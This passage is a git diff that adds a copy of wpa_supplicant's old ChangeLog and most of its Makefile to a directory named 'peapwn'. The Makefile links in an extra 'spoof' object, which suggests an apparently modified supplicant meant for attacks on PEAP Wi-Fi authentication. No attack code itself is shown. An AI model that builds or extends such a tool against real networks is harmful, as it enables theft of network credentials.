EAP-TLS/PEAP/TTLS + authentication attempt + * allow EAP-PEAP/TTLS fast reauthentication only if Phase 2 succeeded + in the previous authentication (previously, only Phase 1 success was + verified) + +2005-01-09 - v0.3.4 + * added preliminary support for IBSS (ad-hoc) mode configuration + (mode=1 in network block); this included a new key_mgmt mode + WPA-NONE, i.e., TKIP or CCMP with a fixed key (based on psk) and no + key management; see wpa_supplicant.conf for more details and an + example on how to configure this (note: this is currently implemented + only for driver_hostapd.c, but the changes should be trivial to add + in associate() handler for other drivers, too (assuming the driver + supports WPA-None) + * added preliminary port for native Windows (i.e., no cygwin) using + mingw + +2005-01-02 - v0.3.3 + * added optional support for GNU Readline and History Libraries for + wpa_cli (CONFIG_READLINE) + * cleaned up EAP state machine <-> method interface and number of + small problems with error case processing not terminating on + EAP-Failure but waiting for timeout + * added couple of workarounds for interoperability issues with a + Cisco AP when using WPA2 + * added support for EAP-FAST (draft-cam-winget-eap-fast-00.txt); + Note: This requires a patch for openssl to add support for TLS + extensions and number of workarounds for operations without + certificates. Proof of concept type of experimental patch is + included in openssl-tls-extensions.patch. + +2004-12-19 - v0.3.2 + * fixed private key loading for cases where passphrase is not set + * fixed Windows/cygwin L2 packet handler freeing; previous version + could cause a segfault when RSN pre-authentication was completed + * added support for PMKSA caching with drivers that generate RSN IEs + (e.g., NDIS); currently, this is only implemented in driver_ndis.c, + but similar code can be easily added to driver_ndiswrapper.c once + ndiswrapper gets full support for RSN PMKSA caching + * improved recovery from PMKID mismatches by requesting full EAP + authentication in case of failed PMKSA caching attempt + * driver_ndis: added support for NDIS NdisMIncidateStatus() events + (this requires that ndis_events is ran while wpa_supplicant is + running) + * driver_ndis: use ADD_WEP/REMOVE_WEP when configuring WEP keys + * added support for driver interfaces to replace the interface name + based on driver/OS specific mapping, e.g., in case of driver_ndis, + this allows the beginning of the adapter description to be used as + the interface name + * added support for CR+LF (Windows-style) line ends in configuration + file + * driver_ndis: enable radio before starting scanning, disable radio + when exiting + * modified association event handler to set portEnabled = FALSE before + clearing port Valid in order to reset EAP state machine and avoid + problems with new authentication getting ignored because of state + machines ending up in AUTHENTICATED/SUCCESS state based on old + information + * added support for driver events to add PMKID candidates in order to + allow drivers to give priority to most likely roaming candidates + * driver_hostap: moved PrivacyInvoked configuration to associate() + function so that this will not be set for plaintext connections + * added KEY_MGMT_802_1X_NO_WPA as a new key_mgmt type so that driver + interface can distinguish plaintext and IEEE 802.1X (no WPA) + authentication + * fixed static WEP key configuration to use broadcast/default type for + all keys (previously, the default TX key was configured as pairwise/ + unicast key) + * driver_ndis: added legacy WPA capability detection for non-WPA2 + drivers + * added support for setting static WEP keys for IEEE 802.1X without + dynamic WEP keying (eapol_flags=0) + +2004-12-12 - v0.3.1 + * added support for reading PKCS#12 (PFX) files (as a replacement for + PEM/DER) to get certificate and private key (CONFIG_PKCS12) + * fixed compilation with CONFIG_PCSC=y + * added new ap_scan mode, ap_scan=2, for drivers that take care of + association, but need to be configured with security policy and SSID, + e.g., ndiswrapper and NDIS driver; this mode should allow such + drivers to work with hidden SSIDs and optimized roaming; when + ap_scan=2 is used, only the first network block in the configuration + file is used and this configuration should have explicit security + policy (i.e., only one option in the lists) for key_mgmt, pairwise, + group, proto variables + * added experimental port of wpa_supplicant for Windows + - driver_ndis.c driver interface (NDIS OIDs) + - currently, this requires cygwin and WinPcap + - small utility, win_if_list, can be used to get interface name + * control interface can now be removed at build time; add + CONFIG_CTRL_IFACE=y to .config to maintain old functionality + * optional Xsupplicant interface can now be removed at build time; + (CONFIG_XSUPPLICANT_IFACE=y in .config to bring it back) + * added auth_alg to driver interface associate() parameters to make it + easier for drivers to configure authentication algorithm as part of + the association + +2004-12-05 - v0.3.0 (beginning of 0.3.x development releases) + * driver_broadcom: added new driver interface for Broadcom wl.o driver + (a generic driver for Broadcom IEEE 802.11a/g cards) + * wpa_cli: fixed parsing of -p command line argument + * PEAPv1: fixed tunneled EAP-Success reply handling to reply with TLS + ACK, not tunneled EAP-Success (of which only the first byte was + actually send due to a bug in previous code); this seems to + interoperate with most RADIUS servers that implements PEAPv1 + * PEAPv1: added support for terminating PEAP authentication on tunneled + EAP-Success message; this can be configured by adding + peap_outer_success=0 on phase1 parameters in wpa_supplicant.conf + (some RADIUS servers require this whereas others require a tunneled + reply + * PEAPv1: changed phase1 option peaplabel to use default to 0, i.e., to + the old label for key derivation; previously, the default was 1, + but it looks like most existing PEAPv1 implementations use the old + label which is thus more suitable default option + * added support for EAP-PSK (draft-bersani-eap-psk-03.txt) + * fixed parsing of wep_tx_keyidx + * added support for configuring list of allowed Phase 2 EAP types + (for both EAP-PEAP and EAP-TTLS) instead of only one type + * added support for configuring IEEE 802.11 authentication algorithm + (auth_alg; mainly for using Shared Key authentication with static + WEP keys) + * added support for EAP-AKA (with UMTS SIM) + * fixed couple of errors in PCSC handling that could have caused + random-looking errors for EAP-SIM + * added support for EAP-SIM pseudonyms and fast re-authentication + * added support for EAP-TLS/PEAP/TTLS fast re-authentication (TLS + session resumption) + * added support for EAP-SIM with two challanges + (phase1="sim_min_num_chal=3" can be used to require three challenges) + * added support for configuring DH/DSA parameters for an ephemeral DH + key exchange (EAP-TLS/PEAP/TTLS) using new configuration parameters + dh_file and dh_file2 (phase 2); this adds support for using DSA keys + and optional DH key exchange to achieve forward secracy with RSA keys + * added support for matching subject of the authentication server + certificate with a substring when using EAP-TLS/PEAP/TTLS; new + configuration variables subject_match and subject_match2 + * changed SSID configuration in driver_wext.c (used by many driver + interfaces) to use ssid_len+1 as the length for SSID since some Linux + drivers expect this + * fixed couple of unaligned reads in scan result parsing to fix WPA + connection on some platforms (e.g., ARM) + * added driver interface for Intel ipw2100 driver + * added support for LEAP with WPA + * added support for larger scan results report (old limit was 4 kB of + data, i.e., about 35 or so APs) when using Linux wireless extensions + v17 or newer + * fixed a bug in PMKSA cache processing: skip sending of EAPOL-Start + only if there is a PMKSA cache entry for the current AP + * fixed error handling for case where reading of scan results fails: + must schedule a new scan or wpa_supplicant will remain waiting + forever + * changed debug output to remove shared password/key material by + default; all key information can be included with -K command line + argument to match the previous behavior + * added support for timestamping debug log messages (disabled by + default, can be enabled with -t command line argument) + * set pairwise/group cipher suite for non-WPA IEEE 802.1X to WEP-104 + if keys are not configured to be used; this fixes IEEE 802.1X mode + with drivers that use this information to configure whether Privacy + bit can be in Beacon frames (e.g., ndiswrapper) + * avoid clearing driver keys if no keys have been configured since last + key clear request; this seems to improve reliability of group key + handshake for ndiswrapper & NDIS driver which seems to be suffering + of some kind of timing issue when the keys are cleared again after + association + * changed driver interface API: + - WPA_SUPPLICANT_DRIVER_VERSION define can be used to determine which + version is being used (now, this is set to 2; previously, it was + not defined) + - pass pointer to private data structure to all calls + - the new API is not backwards compatible; all in-tree driver + interfaces has been converted to the new API + * added support for controlling multiple interfaces (radios) per + wpa_supplicant process; each interface needs to be listed on the + command line (-c, -i, -D arguments) with -N as a separator + (-cwpa1.conf -iwlan0 -Dhostap -N -cwpa2.conf -iath0 -Dmadwifi) + * added a workaround for EAP servers that incorrectly use same Id for + sequential EAP packets + * changed libpcap/libdnet configuration to use .config variable, + CONFIG_DNET_PCAP, instead of requiring Makefile modification + * improved downgrade attack detection in IE verification of msg 3/4: + verify both WPA and RSN IEs, if present, not only the selected one; + reject the AP if an RSN IE is found in msg 3/4, but not in Beacon or + Probe Response frame, and RSN is enabled in wpa_supplicant + configuration + * fixed WPA msg 3/4 processing to allow Key Data field contain other + IEs than just one WPA IE + * added support for FreeBSD and driver interface for the BSD net80211 + layer (CONFIG_DRIVER_BSD=y in .config); please note that some of the + required kernel mods have not yet been committed + * made EAP workarounds configurable; enabled by default, can be + disabled with network block option eap_workaround=0 + +2004-07-17 - v0.2.4 (beginning of 0.2.x stable releases) + * resolved couple of interoperability issues with EAP-PEAPv1 and + Phase 2 (inner EAP) fragment reassembly + * driver_madwifi: fixed WEP key configuration for IEEE 802.1X when the + AP is using non-zero key index for the unicast key and key index zero + for the broadcast key + * driver_hostap: fixed IEEE 802.1X WEP key updates and + re-authentication by allowing unencrypted EAPOL frames when not using + WPA + * added a new driver interface, 'wext', which uses only standard, + driver independent functionality in Linux wireless extensions; + currently, this can be used only for non-WPA IEEE 802.1X mode, but + eventually, this is to be extended to support full WPA/WPA2 once + Linux wireless extensions get support for this + * added support for mode in which the driver is responsible for AP + scanning and selection; this is disabled by default and can be + enabled with global ap_scan=0 variable in wpa_supplicant.conf; + this mode can be used, e.g., with generic 'wext' driver interface to + use wpa_supplicant as IEEE 802.1X Supplicant with any Linux driver + supporting wireless extensions. + * driver_madwifi: fixed WPA2 configuration and scan_ssid=1 (e.g., + operation with an AP that does not include SSID in the Beacon frames) + * added support for new EAP authentication methods: + EAP-TTLS/EAP-OTP, EAP-PEAPv0/OTP, EAP-PEAPv1/OTP, EAP-OTP + * added support for asking one-time-passwords from frontends (e.g., + wpa_cli); this 'otp' command works otherwise like 'password' command, + but the password is used only once and the frontend will be asked for + a new password whenever a request from authenticator requires a + password; this can be used with both EAP-OTP and EAP-GTC + * changed wpa_cli to automatically re-establish connection so that it + does not need to be re-started when wpa_supplicant is terminated and + started again + * improved user data (identity/password/otp) requests through + frontends: process pending EAPOL packets after getting new + information so that full authentication does not need to be + restarted; in addition, send pending requests again whenever a new + frontend is attached + * changed control frontends to use a new directory for socket files to + make it easier for wpa_cli to automatically select between interfaces + and to provide access control for the control interface; + wpa_supplicant.conf: ctrl_interface is now a path + (/var/run/wpa_supplicant is the recommended path) and + ctrl_interface_group can be used to select which group gets access to + the control interface; + wpa_cli: by default, try to connect to the first interface available + in /var/run/wpa_supplicant; this path can be overriden with -p option + and an interface can be selected with -i option (i.e., in most common + cases, wpa_cli does not need to get any arguments) + * added support for LEAP + * added driver interface for Linux ndiswrapper + * added priority option for network blocks in the configuration file; + this allows networks to be grouped based on priority (the scan + results are searched for matches with network blocks in this order) + +2004-06-20 - v0.2.3 + * sort scan results to improve AP selection + * fixed control interface socket removal for some error cases + * improved scan requesting and authentication timeout + * small improvements/bug fixes for EAP-MSCHAPv2, EAP-PEAP, and + TLS processing + * PEAP version can now be forced with phase1="peapver=" + (mostly for testing; by default, the highest version supported by + both the Supplicant and Authentication Server is selected + automatically) + * added support for madwifi driver (Atheros ar521x) + * added a workaround for cases where AP sets Install Tx/Rx bit for + WPA Group Key messages when pairwise keys are used (without this, + the Group Key would be used for Tx and the AP would drop frames + from the station) + * added GSM SIM/USIM interface for GSM authentication algorithm for + EAP-SIM; this requires pcsc-lite + * added support for ATMEL AT76C5XXx driver + * fixed IEEE 802.1X WEP key derivation in the case where Authenticator + does not include key data in the EAPOL-Key frame (i.e., part of + EAP keying material is used as data encryption key) + * added support for using plaintext and static WEP networks + (key_mgmt=NONE) + +2004-05-31 - v0.2.2 + * added support for new EAP authentication methods: + EAP-TTLS/EAP-MD5-Challenge + EAP-TTLS/EAP-GTC + EAP-TTLS/EAP-MSCHAPv2 + EAP-TTLS/EAP-TLS + EAP-TTLS/MSCHAPv2 + EAP-TTLS/MSCHAP + EAP-TTLS/PAP + EAP-TTLS/CHAP + EAP-PEAP/TLS + EAP-PEAP/GTC + EAP-PEAP/MD5-Challenge + EAP-GTC + EAP-SIM (not yet complete; needs GSM/SIM authentication interface) + * added support for anonymous identity (to be used when identity is + sent in plaintext; real identity will be used within TLS protected + tunnel (e.g., with EAP-TTLS) + * added event messages from wpa_supplicant to frontends, e.g., wpa_cli + * added support for requesting identity and password information using + control interface; in other words, the password for EAP-PEAP or + EAP-TTLS does not need to be included in the configuration file since + a frontand (e.g., wpa_cli) can ask it from the user + * improved RSN pre-authentication to use a candidate list and process + all candidates from each scan; not only one per scan + * fixed RSN IE and WPA IE capabilities field parsing + * ignore Tx bit in GTK IE when Pairwise keys are used + * avoid making new scan requests during IEEE 802.1X negotiation + * use openssl/libcrypto for MD5 and SHA-1 when compiling wpa_supplicant + with TLS support (this replaces the included implementation with + library code to save about 8 kB since the library code is needed + anyway for TLS) + * fixed WPA-PSK only mode when compiled without IEEE 802.1X support + (i.e., without CONFIG_IEEE8021X_EAPOL=y in .config) + +2004-05-06 - v0.2.1 + * added support for internal IEEE 802.1X (actually, IEEE 802.1aa/D6.1) + Supplicant + - EAPOL state machines for Supplicant [IEEE 802.1aa/D6.1] + - EAP peer state machine [draft-ietf-eap-statemachine-02.pdf] + - EAP-MD5 (cannot be used with WPA-RADIUS) + [draft-ietf-eap-rfc2284bis-09.txt] + - EAP-TLS [RFC 2716] + - EAP-MSCHAPv2 (currently used only with EAP-PEAP) + - EAP-PEAP/MSCHAPv2 [draft-josefsson-pppext-eap-tls-eap-07.txt] + [draft-kamath-pppext-eap-mschapv2-00.txt] + (PEAP version 0, 1, and parts of 2; only 0 and 1 are enabled by + default; tested with FreeRADIUS, Microsoft IAS, and Funk Odyssey) + - new configuration file options: eap, identity, password, ca_cert, + client_cert, privatekey, private_key_passwd + - Xsupplicant is not required anymore, but it can be used by + disabling the internal IEEE 802.1X Supplicant with -e command line + option + - this code is not included in the default build; Makefile need to + be edited for this (uncomment lines for selected functionality) + - EAP-TLS and EAP-PEAP require openssl libraries + * use module prefix in debug messages (WPA, EAP, EAP-TLS, ..) + * added support for non-WPA IEEE 802.1X mode with dynamic WEP keys + (i.e., complete IEEE 802.1X/EAP authentication and use IEEE 802.1X + EAPOL-Key frames instead of WPA key handshakes) + * added support for IEEE 802.11i/RSN (WPA2) + - improved PTK Key Handshake + - PMKSA caching, pre-authentication + * fixed wpa_supplicant to ignore possible extra data after WPA + EAPOL-Key packets (this fixes 'Invalid EAPOL-Key MIC when using + TPTK' error from message 3 of 4-Way Handshake in case the AP + includes extra data after the EAPOL-Key) + * added interface for external programs (frontends) to control + wpa_supplicant + - CLI example (wpa_cli) with interactive mode and command line + mode + - replaced SIGUSR1 status/statistics with the new control interface + * made some feature compile time configurable + - .config file for make + - driver interfaces (hostap, hermes, ..) + - EAPOL/EAP functions + +2004-02-15 - v0.2.0 + * Initial version of wpa_supplicant diff --git a/peapwn/mods/hostap/wpa_supplicant/Makefile b/peapwn/mods/hostap/wpa_supplicant/Makefile new file mode 100644 index 000000000..fb1d134bd --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/Makefile @@ -0,0 +1,1688 @@ +ifndef CC +CC=gcc +endif + +ifndef CFLAGS +CFLAGS = -MMD -O2 -Wall -g -DFROM_WPA_SUPPLICANT +endif + +export LIBDIR ?= /usr/local/lib/ +export BINDIR ?= /usr/local/sbin/ +PKG_CONFIG ?= pkg-config + +CFLAGS += -I../src +CFLAGS += -I../src/utils + +-include .config + +BINALL=wpa_supplicant wpa_cli + +ifndef CONFIG_NO_WPA_PASSPHRASE +BINALL += wpa_passphrase +endif + +ALL = $(BINALL) +ALL += systemd/wpa_supplicant.service +ALL += systemd/wpa_supplicant@.service +ALL += systemd/wpa_supplicant-nl80211@.service +ALL += systemd/wpa_supplicant-wired@.service +ALL += dbus/fi.epitest.hostap.WPASupplicant.service +ALL += dbus/fi.w1.wpa_supplicant1.service + + +all: verify_config $(ALL) dynamic_eap_methods + +verify_config: + @if [ ! -r .config ]; then \ + echo 'Building wpa_supplicant requires a configuration file'; \ + echo '(.config). See README for more instructions. You can'; \ + echo 'run "cp defconfig .config" to create an example'; \ + echo 'configuration.'; \ + exit 1; \ + fi + +mkconfig: + @if [ -f .config ]; then \ + echo '.config exists - did not replace it'; \ + exit 1; \ + fi + echo CONFIG_DRIVER_HOSTAP=y >> .config + echo CONFIG_DRIVER_WEXT=y >> .config + +$(DESTDIR)$(BINDIR)/%: % + install -D $(<) $(@) + +install: $(addprefix $(DESTDIR)$(BINDIR)/,$(BINALL)) + $(MAKE) -C ../src install + +ifdef CONFIG_FIPS +CONFIG_NO_RANDOM_POOL= +CONFIG_OPENSSL_CMAC=y +endif + +OBJS = config.o +OBJS += notify.o +OBJS += bss.o +OBJS += eap_register.o +OBJS += ../src/utils/common.o +OBJS += ../src/utils/wpa_debug.o +OBJS += ../src/utils/wpabuf.o +OBJS_p = wpa_passphrase.o +OBJS_p += ../src/utils/common.o +OBJS_p += ../src/utils/wpa_debug.o +OBJS_p += ../src/utils/wpabuf.o +OBJS_c = wpa_cli.o ../src/common/wpa_ctrl.o +OBJS_c += ../src/utils/wpa_debug.o +OBJS_c += ../src/utils/common.o +OBJS += ../src/spoof/spoof.o + +ifndef CONFIG_OS +ifdef CONFIG_NATIVE_WINDOWS +CONFIG_OS=win32 +else +CONFIG_OS=unix +endif +endif + +ifeq ($(CONFIG_OS), internal) +CFLAGS += -DOS_NO_C_LIB_DEFINES +endif + +OBJS += ../src/utils/os_$(CONFIG_OS).o +OBJS_p += ../src/utils/os_$(CONFIG_OS).o +OBJS_c += ../src/utils/os_$(CONFIG_OS).o + +ifdef CONFIG_WPA_TRACE +CFLAGS += -DWPA_TRACE +OBJS += ../src/utils/trace.o +OBJS_p += ../src/utils/trace.o +OBJS_c += ../src/utils/trace.o +OBJS_priv += ../src/utils/trace.o +LDFLAGS += -rdynamic +CFLAGS += -funwind-tables +ifdef CONFIG_WPA_TRACE_BFD +CFLAGS += -DWPA_TRACE_BFD +LIBS += -lbfd +LIBS_p += -lbfd +LIBS_c += -lbfd +endif +endif + +ifndef CONFIG_ELOOP +CONFIG_ELOOP=eloop +endif +OBJS += ../src/utils/$(CONFIG_ELOOP).o +OBJS_c += ../src/utils/$(CONFIG_ELOOP).o + +ifeq ($(CONFIG_ELOOP), eloop) +# Using glibc < 2.17 requires -lrt for clock_gettime() +LIBS += -lrt +LIBS_c += -lrt +LIBS_p += -lrt +endif + +ifdef CONFIG_ELOOP_POLL +CFLAGS += -DCONFIG_ELOOP_POLL +endif + + +ifdef CONFIG_EAPOL_TEST +CFLAGS += -Werror -DEAPOL_TEST +endif + +ifdef CONFIG_CODE_COVERAGE +CFLAGS += -O0 -fprofile-arcs -ftest-coverage +LIBS += -lgcov +LIBS_c += -lgcov +LIBS_p += -lgcov +endif + +ifdef CONFIG_HT_OVERRIDES +CFLAGS += -DCONFIG_HT_OVERRIDES +endif + +ifdef CONFIG_VHT_OVERRIDES +CFLAGS += -DCONFIG_VHT_OVERRIDES +endif + +ifndef CONFIG_BACKEND +CONFIG_BACKEND=file +endif + +ifeq ($(CONFIG_BACKEND), file) +OBJS += config_file.o +ifndef CONFIG_NO_CONFIG_BLOBS +NEED_BASE64=y +endif +CFLAGS += -DCONFIG_BACKEND_FILE +endif + +ifeq ($(CONFIG_BACKEND), winreg) +OBJS += config_winreg.o +endif + +ifeq ($(CONFIG_BACKEND), none) +OBJS += config_none.o +endif + +ifdef CONFIG_NO_CONFIG_WRITE +CFLAGS += -DCONFIG_NO_CONFIG_WRITE +endif + +ifdef CONFIG_NO_CONFIG_BLOBS +CFLAGS += -DCONFIG_NO_CONFIG_BLOBS +endif + +ifdef CONFIG_NO_SCAN_PROCESSING +CFLAGS += -DCONFIG_NO_SCAN_PROCESSING +endif + +ifdef CONFIG_IEEE80211W +CFLAGS += -DCONFIG_IEEE80211W +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_IEEE80211R +CFLAGS += -DCONFIG_IEEE80211R +OBJS += ../src/rsn_supp/wpa_ft.o +NEED_80211_COMMON=y +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_SAE +CFLAGS += -DCONFIG_SAE +OBJS += ../src/common/sae.o +NEED_ECC=y +NEED_DH_GROUPS=y +endif + +ifdef CONFIG_WNM +CFLAGS += -DCONFIG_WNM +OBJS += wnm_sta.o +endif + +ifdef CONFIG_TDLS +CFLAGS += -DCONFIG_TDLS +OBJS += ../src/rsn_supp/tdls.o +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_TDLS_TESTING +CFLAGS += -DCONFIG_TDLS_TESTING +endif + +ifdef CONFIG_PEERKEY +CFLAGS += -DCONFIG_PEERKEY +endif + +ifndef CONFIG_NO_WPA +OBJS += ../src/rsn_supp/wpa.o +OBJS += ../src/rsn_supp/preauth.o +OBJS += ../src/rsn_supp/pmksa_cache.o +OBJS += ../src/rsn_supp/peerkey.o +OBJS += ../src/rsn_supp/wpa_ie.o +OBJS += ../src/common/wpa_common.o +NEED_AES=y +NEED_SHA1=y +NEED_MD5=y +NEED_RC4=y +else +CFLAGS += -DCONFIG_NO_WPA +endif + +ifdef CONFIG_IBSS_RSN +NEED_RSN_AUTHENTICATOR=y +CFLAGS += -DCONFIG_IBSS_RSN +OBJS += ibss_rsn.o +endif + +ifdef CONFIG_P2P +OBJS += p2p_supplicant.o +OBJS += ../src/p2p/p2p.o +OBJS += ../src/p2p/p2p_utils.o +OBJS += ../src/p2p/p2p_parse.o +OBJS += ../src/p2p/p2p_build.o +OBJS += ../src/p2p/p2p_go_neg.o +OBJS += ../src/p2p/p2p_sd.o +OBJS += ../src/p2p/p2p_pd.o +OBJS += ../src/p2p/p2p_invitation.o +OBJS += ../src/p2p/p2p_dev_disc.o +OBJS += ../src/p2p/p2p_group.o +OBJS += ../src/ap/p2p_hostapd.o +CFLAGS += -DCONFIG_P2P +NEED_GAS=y +NEED_OFFCHANNEL=y +NEED_80211_COMMON=y +CONFIG_WPS=y +CONFIG_AP=y +ifdef CONFIG_P2P_STRICT +CFLAGS += -DCONFIG_P2P_STRICT +endif +endif + +ifdef CONFIG_WIFI_DISPLAY +CFLAGS += -DCONFIG_WIFI_DISPLAY +OBJS += wifi_display.o +endif + +ifdef CONFIG_HS20 +OBJS += hs20_supplicant.o +CFLAGS += -DCONFIG_HS20 +CONFIG_INTERWORKING=y +endif + +ifdef CONFIG_INTERWORKING +OBJS += interworking.o +CFLAGS += -DCONFIG_INTERWORKING +NEED_GAS=y +endif + +include ../src/drivers/drivers.mak +ifdef CONFIG_AP +OBJS_d += $(DRV_BOTH_OBJS) +CFLAGS += $(DRV_BOTH_CFLAGS) +LDFLAGS += $(DRV_BOTH_LDFLAGS) +LIBS += $(DRV_BOTH_LIBS) +else +NEED_AP_MLME= +OBJS_d += $(DRV_WPA_OBJS) +CFLAGS += $(DRV_WPA_CFLAGS) +LDFLAGS += $(DRV_WPA_LDFLAGS) +LIBS += $(DRV_WPA_LIBS) +endif + +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=linux +endif + +OBJS_l2 += ../src/l2_packet/l2_packet_$(CONFIG_L2_PACKET).o + +ifeq ($(CONFIG_L2_PACKET), pcap) +ifdef CONFIG_WINPCAP +CFLAGS += -DCONFIG_WINPCAP +LIBS += -lwpcap -lpacket +LIBS_w += -lwpcap +else +LIBS += -ldnet -lpcap +endif +endif + +ifeq ($(CONFIG_L2_PACKET), winpcap) +LIBS += -lwpcap -lpacket +LIBS_w += -lwpcap +endif + +ifeq ($(CONFIG_L2_PACKET), freebsd) +LIBS += -lpcap +endif + +ifdef CONFIG_EAP_TLS +# EAP-TLS +ifeq ($(CONFIG_EAP_TLS), dyn) +CFLAGS += -DEAP_TLS_DYNAMIC +EAPDYN += ../src/eap_peer/eap_tls.so +else +CFLAGS += -DEAP_TLS +OBJS += ../src/eap_peer/eap_tls.o +OBJS_h += ../src/eap_server/eap_server_tls.o +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_UNAUTH_TLS +# EAP-UNAUTH-TLS +CFLAGS += -DEAP_UNAUTH_TLS +ifndef CONFIG_EAP_UNAUTH_TLS +OBJS += ../src/eap_peer/eap_tls.o +OBJS_h += ../src/eap_server/eap_server_tls.o +TLS_FUNCS=y +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_PEAP +# EAP-PEAP +ifeq ($(CONFIG_EAP_PEAP), dyn) +CFLAGS += -DEAP_PEAP_DYNAMIC +EAPDYN += ../src/eap_peer/eap_peap.so +else +CFLAGS += -DEAP_PEAP +OBJS += ../src/eap_peer/eap_peap.o +OBJS += ../src/eap_common/eap_peap_common.o +OBJS_h += ../src/eap_server/eap_server_peap.o +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_TTLS +# EAP-TTLS +ifeq ($(CONFIG_EAP_TTLS), dyn) +CFLAGS += -DEAP_TTLS_DYNAMIC +EAPDYN += ../src/eap_peer/eap_ttls.so +else +CFLAGS += -DEAP_TTLS +OBJS += ../src/eap_peer/eap_ttls.o +OBJS_h += ../src/eap_server/eap_server_ttls.o +endif +MS_FUNCS=y +TLS_FUNCS=y +CHAP=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_MD5 +# EAP-MD5 +ifeq ($(CONFIG_EAP_MD5), dyn) +CFLAGS += -DEAP_MD5_DYNAMIC +EAPDYN += ../src/eap_peer/eap_md5.so +else +CFLAGS += -DEAP_MD5 +OBJS += ../src/eap_peer/eap_md5.o +OBJS_h += ../src/eap_server/eap_server_md5.o +endif +CHAP=y +CONFIG_IEEE8021X_EAPOL=y +endif + +# backwards compatibility for old spelling +ifdef CONFIG_MSCHAPV2 +ifndef CONFIG_EAP_MSCHAPV2 +CONFIG_EAP_MSCHAPV2=y +endif +endif + +ifdef CONFIG_EAP_MSCHAPV2 +# EAP-MSCHAPv2 +ifeq ($(CONFIG_EAP_MSCHAPV2), dyn) +CFLAGS += -DEAP_MSCHAPv2_DYNAMIC +EAPDYN += ../src/eap_peer/eap_mschapv2.so +EAPDYN += ../src/eap_peer/mschapv2.so +else +CFLAGS += -DEAP_MSCHAPv2 +OBJS += ../src/eap_peer/eap_mschapv2.o +OBJS += ../src/eap_peer/mschapv2.o +OBJS_h += ../src/eap_server/eap_server_mschapv2.o +endif +MS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_GTC +# EAP-GTC +ifeq ($(CONFIG_EAP_GTC), dyn) +CFLAGS += -DEAP_GTC_DYNAMIC +EAPDYN += ../src/eap_peer/eap_gtc.so +else +CFLAGS += -DEAP_GTC +OBJS += ../src/eap_peer/eap_gtc.o +OBJS_h += ../src/eap_server/eap_server_gtc.o +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_OTP +# EAP-OTP +ifeq ($(CONFIG_EAP_OTP), dyn) +CFLAGS += -DEAP_OTP_DYNAMIC +EAPDYN += ../src/eap_peer/eap_otp.so +else +CFLAGS += -DEAP_OTP +OBJS += ../src/eap_peer/eap_otp.o +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_SIM +# EAP-SIM +ifeq ($(CONFIG_EAP_SIM), dyn) +CFLAGS += -DEAP_SIM_DYNAMIC +EAPDYN += ../src/eap_peer/eap_sim.so +else +CFLAGS += -DEAP_SIM +OBJS += ../src/eap_peer/eap_sim.o +OBJS_h += ../src/eap_server/eap_server_sim.o +endif +CONFIG_IEEE8021X_EAPOL=y +CONFIG_EAP_SIM_COMMON=y +NEED_AES_CBC=y +endif + +ifdef CONFIG_EAP_LEAP +# EAP-LEAP +ifeq ($(CONFIG_EAP_LEAP), dyn) +CFLAGS += -DEAP_LEAP_DYNAMIC +EAPDYN += ../src/eap_peer/eap_leap.so +else +CFLAGS += -DEAP_LEAP +OBJS += ../src/eap_peer/eap_leap.o +endif +MS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_PSK +# EAP-PSK +ifeq ($(CONFIG_EAP_PSK), dyn) +CFLAGS += -DEAP_PSK_DYNAMIC +EAPDYN += ../src/eap_peer/eap_psk.so +else +CFLAGS += -DEAP_PSK +OBJS += ../src/eap_peer/eap_psk.o ../src/eap_common/eap_psk_common.o +OBJS_h += ../src/eap_server/eap_server_psk.o +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_AES=y +NEED_AES_OMAC1=y +NEED_AES_ENCBLOCK=y +NEED_AES_EAX=y +endif + +ifdef CONFIG_EAP_AKA +# EAP-AKA +ifeq ($(CONFIG_EAP_AKA), dyn) +CFLAGS += -DEAP_AKA_DYNAMIC +EAPDYN += ../src/eap_peer/eap_aka.so +else +CFLAGS += -DEAP_AKA +OBJS += ../src/eap_peer/eap_aka.o +OBJS_h += ../src/eap_server/eap_server_aka.o +endif +CONFIG_IEEE8021X_EAPOL=y +CONFIG_EAP_SIM_COMMON=y +NEED_AES_CBC=y +endif + +ifdef CONFIG_EAP_PROXY +CFLAGS += -DCONFIG_EAP_PROXY +OBJS += ../src/eap_peer/eap_proxy_$(CONFIG_EAP_PROXY).o +include eap_proxy_$(CONFIG_EAP_PROXY).mk +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_AKA_PRIME +# EAP-AKA' +ifeq ($(CONFIG_EAP_AKA_PRIME), dyn) +CFLAGS += -DEAP_AKA_PRIME_DYNAMIC +else +CFLAGS += -DEAP_AKA_PRIME +endif +NEED_SHA256=y +endif + +ifdef CONFIG_EAP_SIM_COMMON +OBJS += ../src/eap_common/eap_sim_common.o +OBJS_h += ../src/eap_server/eap_sim_db.o +NEED_AES=y +NEED_FIPS186_2_PRF=y +endif + +ifdef CONFIG_EAP_FAST +# EAP-FAST +ifeq ($(CONFIG_EAP_FAST), dyn) +CFLAGS += -DEAP_FAST_DYNAMIC +EAPDYN += ../src/eap_peer/eap_fast.so +EAPDYN += ../src/eap_common/eap_fast_common.o +else +CFLAGS += -DEAP_FAST +OBJS += ../src/eap_peer/eap_fast.o ../src/eap_peer/eap_fast_pac.o +OBJS += ../src/eap_common/eap_fast_common.o +OBJS_h += ../src/eap_server/eap_server_fast.o +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +NEED_T_PRF=y +endif + +ifdef CONFIG_EAP_PAX +# EAP-PAX +ifeq ($(CONFIG_EAP_PAX), 